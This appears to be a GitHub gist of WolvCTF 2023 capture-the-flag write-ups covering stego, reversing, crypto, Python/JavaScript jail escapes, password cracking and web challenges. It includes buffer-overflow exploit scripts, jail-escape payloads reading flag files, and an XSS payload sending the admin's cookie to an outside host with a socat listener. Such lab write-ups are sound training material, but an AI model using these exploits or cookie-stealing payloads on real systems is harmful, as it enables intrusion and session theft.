Skip to content

Instantly share code, notes, and snippets.

@shinmai
Last active March 20, 2023 08:57
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save shinmai/5720d1f0a214d0878cfb530eb975c469 to your computer and use it in GitHub Desktop.
Save shinmai/5720d1f0a214d0878cfb530eb975c469 to your computer and use it in GitHub Desktop.

WolvCTF 2023 writeups

Abstract Art - Misc (100 pts)

Description

I saw this new painting in a gallery by famed painter Otto Stairee O'Graham. Everyone raves about how clearly it represents some common motif, but looking at it just makes me go cross-eyed.

flag is: wctf{name of object in painting} (hint: it's two syllables)

Provided files

abstract.jpeg - a JPEG image [download]

Ideas and observations

  1. as a 90s kid, the image is immediately recognisable as a "Magic Eye" image - or more properly and autostereogram; a 2D image that is capable of producing the illusion of a 3D scene when viewed correctly.

Notes

  1. I'm technically able to view autostereograms, but I see them with the Z axis inverted and viewing them causes me not-insignificant physical pain
  2. Luckily there are tools to decode them

Solution

  1. Upload the image to Jérémie Piellard's stereogram solver and the result is a fairly clear image of a teapot:

the flag is wctf{teapot}

baby-pwn - Beginner (50 pts)

Description

Just a wee little baby pwn.

nc baby-pwn.wolvctf.io 1337

Provided files

babypwn - 64-bit ELF executable for the server [download]
babypwn.c - C source code for the executable [download]

Ideas and observations

  1. based on the C source, a fairly simple buffer overflow where a volatile int variable needs to be overwritten in order for print_flag() to be executed

Notes

  1. The downloadable version, based on the source, prints a fake flag in print_flag()

Solution script

import angr
from pwn import remote
p = angr.Project('baby-pwn')
sm = p.factory.simgr()
sm.explore(find=lambda s: b"wctf{" in s.posix.dumps(1))
payload = sm.found[0].posix.dumps(0)
r = remote('baby-pwn.wolvctf.io', 1337)
r.recv()
r.sendline(payload)
print(r.recvlineS().strip())
r.close()

gets us the flag `wctf{W3lc0me_t0_C0stc0_I_L0v3_Y0u!}``

baby-re - Beginner (50 pts)

Description

Just a wee little baby re challenge.

Provided files

baby-re - 64-bit ELF executable [download]

Ideas and observations

  1. strings shows a couple of fake flags and some prompt strings
  2. only one flag in the strings output is not referenced in any code
  3. that's the correct flag

wctf{Oh10_Stat3_1s_Smelly!}

cat - Beginner (50 pts)

Description

meow

nc cat.wolvctf.io 1337

Provided files

c_llenge - 64-bit ELF executable [download] callenge.c - the source code for the executable [download] Makefile - Makefile used to build the executable [download] Dockerfile - Dockerfile used to host the challenge [download]

Ideas and observations

  1. based on the source code, the program prints some preamble, uses gets() to read user input into a buffer of 128 bytes, prints the buffer out and exits
  2. there's a win() function not called in the code that prints a message and spawns a shell with system()

Notes

  1. a ret2win buffer overflow
  2. binary is 64-bit, so stack needs to be 16-byte aligned or system() will SEGFAULT

Solution script

from pwn import *

exe = ELF("challenge")
context.binary = exe

p = process(exe.path)
p.recvuntil(b"dangerous!\n")
p.sendline(cyclic(250, n=8))
p.wait()
core = p.corefile
offset = cyclic_find(core.read(core.rsp, 8), n=8)

rop = ROP(exe)
ret=rop.find_gadget(["ret"])
rop.raw(offset * b"A")
rop.call(ret)
rop.call(exe.symbols.win)

r = remote("cat.wolvctf.io", 1337)
r.recvuntil(b"dangerous!\n")
r.sendline(rop.chain())
r.recv()
r.sendline(b'cat flag.txt')
print(r.recvS().strip())
r.close()

wctf{d0n+_r0ll_y0ur_0wn_c_:3}

Charlotte's Web - Beginner (50 pts)

Description

Welcome to the web!

https://charlotte-tlejfksioa-ul.a.run.app/

Ideas and observations

  1. a website with just a button, clicking on which shows an unhelpful alert()
  2. there's an HTML comment <!-- /src -->

Notes

  1. /src has the Flask source for the challenge, a simple app with 3 routes:
    1. / that displays the aforementioned web page
    2. /src that returns the contents of app.py
    3. /super-secret-route-nobody-will-guess that's only defined for the PUT method that returns the contents of a file called flag

Solution

Commanding curl -X PUT https://charlotte-tlejfksioa-ul.a.run.app/super-secret-route-nobody-will-guess will get us the flag:

wctf{y0u_h4v3_b33n_my_fr13nd___th4t_1n_1t53lf_1s_4_tr3m3nd0u5_th1ng}

child-re - Reverse (100 pts)

Description

You've graduated from baby, congrats!

Provided files

child-re 64-bit ELF executable [download]
Dockerfile Docker configuration for the remote endpont [download]

Ideas and observations

  1. main() is a red herring with a Hitchhiker's Guide reference
  2. there's another function at 0x1165 that never get's called, but pushes some bytes to the stack, XORs them with a value and prints the result

Solution

  1. Pull the bytes from the binary
  2. XOR them with some value; we know it's 0x42 - references. Even if we didn't, we could brute-force it

Solution script

from Crypto.Util.numbers import long_to_bytes

# copied from the binary in Binary Ninja
enc_flag = bytes.fromhex('5d495e4c51621b5e4942421b4119581f756d5f1b4e19755e1a755e4219756d1e461e52530b0b751e1857')
for c in enc_flag:
    print(end=chr(c ^ 42))
print()

This gets us the flag: wctf{H1tchh1k3r5_Gu1d3_t0_th3_G4l4xy!!_42}

Dino Trading - Forensics (100 pts)

Description

I love trading dinosaurs with my friends! I'm sure nobody can see what we're sending, because otherwise, my dinosaurs might get taken.

Provided files

download.pcap - a packet capture file [download]

Ideas and observations

  1. the capture is fairly short and only seems to contain 3 streams:
    1. an FTP session
    2. a reverse FTP data connection
    3. the actual FTP data transfer
  2. the FTP session seems normal, as does the file transfer procedure

Notes

  1. the transferred file epicfight.jpg can be exported from Wireshark with File -> Export Objects -> FTP-DATA
  2. exiftool doesn't immediately return anything usefull, so we'll just toss the file at stegoveritas
    • there's a steghide payload in the results d2N0Znthbl8xbWFnZV9pbl9hX3BlZWNhcF9iNjR9
  3. I was REALLY tired at this point and legit didn't recognise it sa base64 😅 Luckily there are good tools out there, we toss the string at ares along with the flag format ares -t 'd2N0Znthbl8xbWFnZV9pbl9hX3BlZWNhcF9iNjR9' -r "^wctf\{.*\}":

wctf{an_1mage_in_a_peecap_b64}

elytra - Beginner (50 pts)

Description

I beat the game! But where's the flag?

Provided files

iwon.txt - a plaintext file [download]

Ideas and observations

  1. googling the task name, elytra are a rare end-game item in the game Minecraft
  2. googling part of the text file, it's the End Poem (found in the Java Edition's client.jar at assets/minecraft/texts/end.txt) a poem penned by Julian Gough that appears to players at the end of a Minecraft playthrough before the credits crawl.
    • the raw text from end.txt has some byte-sequences replaced before the text is displayed to the player, in iwon.txt the PLAYERNAME sequence is replaced with doubledelete, the line begining §2 and §3 are stripped, and the §f§k§a§b§3 denoting scrambled text is replaced with [scrambled]

Notes

  1. comparing the original end.txt with the aforementioned replacements with iwon.txt shows some line-ending differences
  2. not all lines are different, though, some lines in iwon.txt are \r\n terminated, others are \n terminated

Solution script

from Crypto.Util.number import long_to_bytes

text=open('iwon.txt','r', newline='').read()
flag_l = int(''.join(['1' if x[-1] == '\r' else '0' for x in o.split('\n') if len(x) > 0]),2)
print(long_to_bytes(flag_l).decode())

wctf{ggwp}

escaped - Beginner (50 pts)

Description

nya

nc escaped.wolvctf.io 1337

Provided files

jail.py - the Pyhon script running on the server [download]
Dockerfile - the Dockerfile for the container hosting the script [download]

Ideas and observations

  1. the script is a very simple Pyhon jail that takes user input, checks if for some syntax requirements, passes it to eval() inside an ast.compile() call that compiles an AST that prints the return value of the eval() and then runs the compiled result
  2. the syntax checks are:
    1. the input must start with a double quote
    2. the input must end with a double quote
    3. no character in between can be a literal double quote
  3. Must break out of quotes and read flag.txt

Solution

  1. since any escape sequences in the input won't be evaluated until the call to eval() we can break out of our opening double quotes with \x22
  2. sending an input like " \x22+open('flag.txt').read()+\x22 " will concatenate the contents of flag.txt with two whitespace characters and print the result, giving us the flag

wctf{m30w_uwu_:3}

Homework Help - Reverse (265 pts)

Description

I wrote a program to solve my math homework so I could find flags. Unfortunatly my program sucks at math and just makes me do it. It does find flags though.

Provided files

homework_help 64-bit ELF executable [download]

Ideas and observations

  1. disassembly doesn't initally show anything useful
  2. main() calls ask() which prints some preamble, prompts the user for an input and runs eval(input)
  3. eval does some checks on the input but still nothing indicating a flag
  4. there's a function called offer_help that's not called from any of thre previous 3 functions, but is called from __stack_chk_fail. It fgets 0x21 bytes from stdin to a memory region FLAG
  5. __stack_chk_fail seems to be the real flagcheck

Notes

  1. __stack_chk_fail:
    1. sets up some values on the stack (bytes interleaved by 3 null bytes)
    2. does a _setjmp and a check
    3. sets some initial values
    4. iterates over the bytes on the stack, xoring them with a running xor result and compares agains the bytes stored at FLAG

Solution

  1. pull out the bytes stored on the stack
  2. set a variable A to 0x41 and B to the first byte from the stack
  3. for 0x20 loops with the iterator i:
    1. B = B ^ A
    2. flag+=B
    3. A = stack_bytes[i]

This gets us the flag: wctf{+m0r3_l1ke_5t4ck_chk_w1n=-}

important_notes - Forensics (456 pts)

Description

idk im blanking on any lore for this challenge

Provided files

important_notes.zip - a ZIP archive containing 7 plain-text files [download]

Ideas and observations

  1. All other files seem like just random (based on the language, likely AI generated) text, but idea2.txt and essay2.txt have a bunch of extraneous whitespace at the end of the file.
  2. The idea files contain ideas for CTF challenges, idea2.txt is about a stego challenge

Notes

  1. The whitespace at the end of essay2.txt is just a bunch of linefeeds
  2. idea2.txt however has lines containig a mix of tabs and spaces

Solution

  1. Take the block of whitespace at the end of idea2.txt
  2. Replace \t with 1 and with 0
  3. remove lines with a lone 1 on them
  4. discard 4 leading zeroes so you have 8 bits per line
  5. decode each line as an 8-bit byte for the flag

Solution CyberChef recipe

See here

wctf{h4rD_dr1v3_bR0Wn135_mmMmmMm}

keyexchange - Crypto (120 pts)

Description

Diffie-Hellman is secure right

remote endpoint: nc keyexchange.wolvctf.io 1337

Provided files

challenge.py Python script for the remote endpoint [download]
Dockerfile Docker configuration for the remote endpont [download]

Ideas and observations

  1. we get pow(s, a, n)
  2. we are prompted for b and an XOR key is constructed with pow(pow(s, a, n), b, n)
  3. the flag is padded with null bytes to the length of the key, XORed and we get the a hex digest

Notes

  1. If we pass 1 as b, the key becomes pow(pow(s, a, n), 1, n) or pow(s, a, n) % n or pow(s, a, n).
  2. We know pow(s, a, n).

Solution

  1. receive pow(s, a, n) from server
  2. provide 1 as the value for b
  3. receive the hex digest of the cipher text from server
  4. unhexlify ciphertext, XOR with pow(s, a, n)
  5. get flag

Solution script

from pwn import *
from Crypto.Util.strxor import strxor

r = remote('keyexchange.wolvctf.io', 1337)

r.recvline()
pow_san = r.recvlineS()
r.recvuntil(b'> ')
r.sendline(b'1')

enc_flag = bytes.fromhex(r.recvlineS())
key = (int(pow_san)).to_bytes(64, 'big')
flag = strxor(enc_flag, key)

print(flag)

This gets us the flag: wctf{m4th_1s_h4rd_but_tru5t_th3_pr0c3ss}

Limited Characters - Misc (439 pts)

Description

Keyboards are expensive, so I've decided to be nice and cut down on the unnecessary real estate. Enjoy your low form-factor python terminal!

nc limited-characters.wolvctf.io 1337

Provided files

jail.py - the Python source for the server [download]
Dockerfile - the Dockerfile for the container hosting the challenge [download]

Ideas and observations

  1. A python jail challenge where a payload for exec(eval(code)) must be constructed that causes the contents of flag.txt to be output to stdout but that only contains chracters from the set 1<rjhniocd()_'[]+yremlsp,.
  2. code basically needs to be python code that evaluates to the string print(open('flag.txt').read())
  3. We have a numeral, a plus sign and the smaller-than operator, as well as parentheses and the letters c, h and r - we should be able to construct the string fairly easily using some bitwise math and addition
  4. Our payload also MUST contain each character in the allowed set at least once

Notes

  1. We get the following fragments for "free":
    • prin
    • (open(
    • l
    • .
    • ).re
    • d()
  2. That leaves the following to be constructed:
    • t
    • f
    • ag
    • txt
    • a
  3. To construct, say t, we can do chr(1+111+(1<<1+1)) or
    1. chr(1+111+(1<<2))
    2. chr(1+111+4)
    3. chr(116)

Solution

  1. Send our finished payload 'prin'+chr(1+111+(1<<1+1))+'(open('+chr(11+11+11+1+1+1+1+1+1)+chr((1+1+1+11+11<<1+1)+1+1)+'l'+chr(((1<<1)+(11+11)<<1+1)+1)+chr(1+1+1+(1+1+1+11+11<<1+1))+'.'+chr((1+11<<1)+(1+11+11<<1+1))+chr((11+1+1+1<<1)+(1+11+11<<1+1))+chr((1+11<<1)+(1+11+11<<1+1))+chr(11+11+11+1+1+1+1+1+1)+').re'+chr(((1<<1)+(11+11)<<1+1)+1)+'d()'+'''+'1<rjhniocd()_[]+yremlsp,. ')''' to the server for the flag

wctf{th3_gr34t_esc4p3_&&}

Switcharoo - Misc (100 pts)

Description

It's a busy weekend, with tens of CTF happening at the same time :) If there is extra time, why not check out https://ctf.b01lers.com? BTW, take this as a gift: YmN0ZntoMzExMF93MHIxZF9nMWY3X2ZyMG1fN2gzX2IwMWxlcl9zMWQzfQ==

Ideas and observations

  1. the provided "gift" is the base64 encoded flag to the b01lers CTF challenge "switcheroo"
  2. the description for "switcheroo" is:

    It's a busy weekend, tens of CTFs happening at the same time :) If there is extra time, why not checkout https://wolvctf.io?Btw, take this as a gift: d2N0ZntNNDF6M180bmRfQmx1M30K

Solution

  1. base64 decoding the gift from the b01lers challenge gets us the flag

wctf{M41z3_4nd_Blu3}

theyseemerolling - Beginner (50 pts)

Description

they hatin my cryptosystem

Provided files

theyseemerolling.zip - a ZIP archive containing two files [download]

  • output.txt - the ciphertext a hex digest [download]
  • enc.py - the Python code used to generate the ciphertext [download]

Ideas and observations

  1. the sript generates a random 8-byte key with os.urandom(8)
  2. it then reads the plaintet from a file as bytes and pads it to length % 4 * 4 + 4 with NULL bytes
  3. the resulting byte-array is then encrypted with the key in blocks of 4 bytes
    • a four byte index is prepended to each block

Notes

  1. because of the four byte index, the first 4 bytes of the random key are always only used to encrypt the padding bytes, so only the last 4 bytes of the key interest us
  2. the key will start with wctf{ meaning we can just XOR the lower 4 bytes of the first block with wctf to recover the lower 4 bytes of the key

Solution CyberChef recipe

Because Register operators don't work inside Subsections, there's a manual cleanup Find / Replace operators at the end to restore the beginning of the flag. CyberChef link

wctf{i_sw3ar_my_pr0f_s4id_r0ll_y0ur_0wn_crypt0}

We Will Rock You - Beginner (50 pts)

Description

Hey! Here's the code for your free tickets to the rock concert! I just can't remember what I made the password...

Provided files

we_will_rock_you.zip - a password protected ZIP file [download]

Ideas and observations

  1. there's one file inside the ZIP archive we_will_rock_you/flag.txt
  2. the name heavily suggest a wordlist to try

Solution

  1. use zip2john to create a hashfile for John the Ripper (or hashcat if you prefer) - zip2john we_will_rock_you.zip > johnfile
  2. crack the password using rockyou.txt as the wordlist - john --wordlist=/usr/share/wordlists/rockyou.txt johnfile
  3. the password is michigan4ever
  4. get the flag unzip -P michigan4ever -p we_will_rock_you.zip we_will_rock_you/flag.txt

wctf{m1cH1g4n_4_3v3R}

yellsatjavascript - Misc (364 pts)

Description

JavaScript is cursed :(

nc yellsatjavascript.wolvctf.io 1337

Provided files

chall.js - the node JavaScript source code for the server [download]

Ideas and observations

  1. the code gets an input from the user, does some checks on it and if they pass, passes it to eval()
  2. the flag is stored in a variable called flag
  3. the checks are:
    1. input musn't contain the character sequence "flag"
    2. input musn't contain the character .
    3. input musn't containt curly braces

Notes

  1. we need access to console.log() to print output
  2. we need to obfuscate flag to pass it to console.log()
  3. besides the dot notation, another way to access prototype members/object properties in JavaScript is array keys: object['property']
  4. btoa() and atob() are built-in functions for base64

Solution

  1. combining the previous knowledge, seding console['log'](eval(atob('ZmxhZw=='))), with ZmxhZw== being flag base64 encoded, gets us the flag

wctf{javascript_!==_java}

yellsatpython - Misc (451 pts)

Description

"p*thon"

nc yellsatpython.wolvctf.io 1337

Provided files

jail.py - the Pyhon source code for the server [download]

Ideas and observations

  1. the banned list looks indimitating at first, but notice open() isn't in there, and neither is chr()
  2. the only thing standing between us and open('flag.txt').read() are the two dots

Notes

  1. open() returns a file object, that is an iterator that processes the file one line at a time (in ASCII mode)
  2. the built-in min function, if passed an iterable, goes through all the values of the iterable, and returns the smallest one
  3. Our flag file likely only has one line

Solution

  1. we send min(open('flag'+chr(0x2e)+'txt')) and get the flag.

wctf{us3_h4sk3ll_n0t_p*th0n-r4g0b}

yowhatsthepassword - Beginner (50 pts)

Description

hey I lost the password :(

Provided files

main.py - a Python script [download]

Ideas and observations

  1. a comment in the script purpots the task is to guess a number between 0 and 2**32
  2. the value the user inputs is compared agains a value generated from a base64 encoded string
  3. if the values match, it's used to seed Python's random number generator and random integers between 97 and 126 are generated until one matches ord('}')

Notes

  1. we can just take the comparison value from the script and feed it ot the generator function to get the flag

Solution script

import random

random.seed(2536466855)
c = 0
while c != ord('}'):
  c = random.randint(97, 126)
  print(end=chr(c))
print()

wctf{ywtp}

Zombie 101 - Web (100 pts)

Description

Can you survive the Zombie gauntlet!?

First in a sequence of four related challenges. Solving one will unlock the next one in the sequence.

They all use the same source code but each one has a different configuration > file.

This first one is a garden variety "steal the admin's cookie".

Good luck!

Please don't use any automated tools like dirbuster/sqlmap/etc.. on ANY challenges. They won't help anyway.

https://zombie-101-tlejfksioa-ul.a.run.app

Provided files

zombie-101-source.zip - a ZIP archive with the source code for the website and the admin bot [download]

Ideas and observations

  1. the description pretty explicitly states this is an XSS challenge, and the source code confirms this
  2. There's just a straight up unfiltered XSS in the /zombie route on the show GET parameter

Notes

  1. for some reason my go-to of <img src=c onerror="window.location='$URL?cookies='+btoa(document.cookie)"> did't work for the bot but did in testing

Solution

  1. Let's just use a straight-up script tag, then: <script>window.location='http://ctf.shinmai.wtf/?cookie='+btoa(JSON.stringify(document.cookie));</script>
  2. URL encode it, add it to the url and send the result to the bot https://zombie-101-tlejfksioa-ul.a.run.app/zombie?show=%3Cscript%3Ewindow%2Elocation%3D%27http%3A%2F%2Fctf%2Eshinmai%2Ewtf%2F%3Fcookie%3D%27%2Bbtoa%28JSON%2Estringify%28document%2Ecookie%29%29%3B%3C%2Fscript%3E
  3. on the server just set up a simple socat listener socat tcp-listen:80,reuseaddr,fork -
  4. We soon get the following:
    GET /?cookie=ImZsYWc9d2N0ZntjMTQ1NTFjLTRkbTFuLTgwNy1jaDQxLW4xYzMtajA4LTkzMjYxfSI= HTTP/1.1
    referer: https://zombie-101-tlejfksioa-ul.a.run.app/zombie?show=%3Cscript%3Ewindow%2Elocation%3D%27http%3A%2F%2Fctf%2Eshinmai%2Ewtf%2F%3Fcookie%3D%27%2Bbtoa%28JSON%2Estringify%28document%2Ecookie%29%29%3B%3C%2Fscript%3E
    accept: text/html,*/*
    content-type: application/x-www-form-urlencoded;charset=UTF-8
    user-agent: Mozilla/5.0 Chrome/10.0.613.0 Safari/534.15 Zombie.js/6.1.4
    host: ctf.shinmai.wtf
    Connection: keep-alive
    
  5. decode the base64 for the flag

wctf{c14551c-4dm1n-807-ch41-n1c3-j08-93261}

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment